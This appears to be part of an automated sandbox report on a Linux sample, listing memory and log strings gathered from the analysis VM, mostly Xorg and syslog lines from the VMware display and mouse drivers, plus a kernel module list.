Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.666] (II) vmware(0): Initialized VMware Xinerama extension.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.342] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1024x768": 78.8 MHz, 60.0 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.143] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.909] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.339] (II) vmware(0): Modeline "640x400"x85.1 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: message repeated 3 times: [ (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)]
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "960x540": 40.8 MHz, 33.5 kHz, 59.6 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.818] (--) vmware(0): mheig: 885
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x350"x85.1 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): w.grn: 8
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.987] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1600x1024" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.249] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.332] (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "720x405" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.102] (**) vmware(0): Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x360": 17.8 MHz, 22.2 kHz, 59.3 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.031] (II) vmware(0): Modeline "1152x864"x100.0 143.47 1152 1232 1360 1568 864 865 868 915 -hsync +vsync (91.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.937] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.236] (II) vmware(0): Modeline "864x486"x59.9 32.50 864 888 968 1072 486 489 494 506 -hsync +vsync (30.3 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "360x200" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.874] (--) vmware(0): bpp: 32
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.902] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x75.0 108.00 1152 1216 1344 1600 864 865 868 900 +hsync +vsync (67.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.274] (II) vmware(0): Modeline "640x480"x75.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x85.1 121.50 1152 1216 1344 1568 864 865 868 911 +hsync -vsync (77.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.157] (==) vmware(0): Using gamma correction (1.0, 1.0, 1.0)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x70.0 96.77 1152 1224 1344 1536 864 865 868 900 -hsync +vsync (63.0 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.406] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "320x175" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.827] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.196] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Virtual size is 800x600 (pitch 1176)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.951] (II) vmware(0): Not using default mode "5120x2880" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.845] (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.476] (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.008] (==) vmware(0): Depth 24, (==) framebuffer bpp 32
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1024x576" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.924] (--) vmware(0): w.grn: 8
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.200] (**) vmware(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1440x900" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.419] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.029] (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.688] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.510] (II) vmware(0): Not using default mode "432x243" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.147] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.381] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.333] (**) vmware(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.743] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.620] (--) vmware(0): caps: 0xFDFF83E2
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "960x540"x59.6 40.75 960 992 1088 1216 540 543 548 562 -hsync +vsync (33.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.673] (II) vmware(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "720x405"x59.5 22.50 720 744 808 896 405 408 413 422 -hsync +vsync (25.1 kHz d)
Source: qFl1WpWBiv, 5211.1.00000000529267e5.000000005c76e3d3.rw-.sdmp, qFl1WpWBiv, 5213.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5215.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5224.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5226.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5227.1.00000000529267e5.00000000ef084572.rw-.sdmp, qFl1WpWBiv, 5381.1.00000000529267e5.00000000ef084572.rw-.sdmp	Binary or memory string: ,V!/etc/qemu-binfmt/arm
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.177] (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.412] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.215] (II) vmware(0): Modeline "800x600"x60.3 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.951] (--) vmware(0): w.blu: 8
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) event2 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Using HW cursor
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse1)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 533.540] (II) LoadModule: "vmware"
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "832x624": 57.3 MHz, 49.7 kHz, 74.6 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.328] (II) vmware(0): Modeline "720x400"x85.0 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.026] (**) vmware(0): Default mode "1152x864": 143.5 MHz, 91.5 kHz, 100.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.497] (II) vmware(0): Not using default mode "864x486" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.009] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.568] (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.226] (II) vmware(0): Not using default mode "15360x8640" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.090] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.432] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.205] (II) vmware(0): Modeline "800x600"x72.2 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (48.1 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.050] (**) vmware(0): Default mode "1152x864": 119.7 MHz, 77.1 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.126] (II) vmware(0): Modeline "1024x768"x70.1 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (56.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Depth 24, (==) framebuffer bpp 32
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.574] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x480"x72.8 31.50 640 664 704 832 480 489 492 520 -hsync -vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "800x600"x75.0 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (46.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.055] (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.972] (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 108.0 MHz, 67.5 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.931] (==) vmware(0): Silken mouse enabled
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 533.643] (II) Module vmware: vendor="X.Org Foundation"
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "512x384i" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): *Driver mode "vmwlegacy-default-800x600": 36.3 MHz, 36.2 kHz, 60.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1024x768"x60.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.197] (II) vmware(0): Not using default mode "320x175" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.155] (**) vmware(0): Default mode "832x624": 57.3 MHz, 49.7 kHz, 74.6 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x480"x59.9 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.619] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event2)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.732] (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.265] (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.000] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.136] (II) vmware(0): Modeline "1024x768"x60.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.825] (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.305] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.345] (**) vmware(0): Default mode "640x360": 18.0 MHz, 22.5 kHz, 59.8 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.643] (II) vmware(0): Initialized VMWARE_CTRL extension version 0.2
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.616] (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.335] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "vmwlegacy-default-800x600"x60.0 36.25 800 801 802 1002 600 601 602 603 (36.2 kHz ez)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.008] (II) vmware(0): Virtual size is 800x600 (pitch 1176)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.149] (II) vmware(0): Modeline "1024x576"x59.9 46.50 1024 1064 1160 1296 576 579 584 599 -hsync +vsync (35.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.721] (--) vmware(0): pbase: 0xe8000000
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Initialized VMWARE_CTRL extension version 0.2
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.355] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.920] (==) vmware(0): Backing store enabled
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.286] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.071] (**) vmware(0): Default mode "1152x864": 105.0 MHz, 67.6 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x100.0 143.47 1152 1232 1360 1568 864 865 868 915 -hsync +vsync (91.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:46 galassia kernel: [ 523.047830] Modules linked in: monitor(OE) md4 cmac cifs libarc4 fscache libdes vmw_vsock_vmci_transport vsock binfmt_misc dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua vmw_balloon joydev input_leds serio_raw vmw_vmci sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel crypto_simd cryptd glue_helper psmouse ahci mptspi vmxnet3 scsi_transport_spi mptscsih libahci mptbase
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.313] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:56 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) Matched vmware as autoconfigured driver 0
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): DPI set to (96, 96)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.350] (II) vmware(0): Not using default mode "1920x1080" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.330] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.758] (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.271] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.041] (II) vmware(0): Not using default mode "1792x1344" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.698] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 533.500] (==) Matched vmware as autoconfigured driver 0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.818] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.698] (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.189] (**) vmware(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Initialized VMware Xinerama extension.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.509] (II) vmware(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.985] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.602] (II) vmware(0): Not using default mode "684x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: message repeated 3 times: [ (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)]
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.987] (--) vmware(0): vis: 4
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (WW) vmware(0): Disabling 3D support.
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.909] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.385] (==) vmware(0): DPI set to (96, 96)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.367] (II) vmware(0): Modeline "640x360"x59.3 17.75 640 688 720 800 360 363 368 374 +hsync -vsync (22.2 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.266] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Using gamma correction (1.0, 1.0, 1.0)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.087] (II) vmware(0): Modeline "1152x864"x70.0 96.77 1152 1224 1344 1536 864 865 868 900 -hsync +vsync (63.0 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Default visual is TrueColor
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
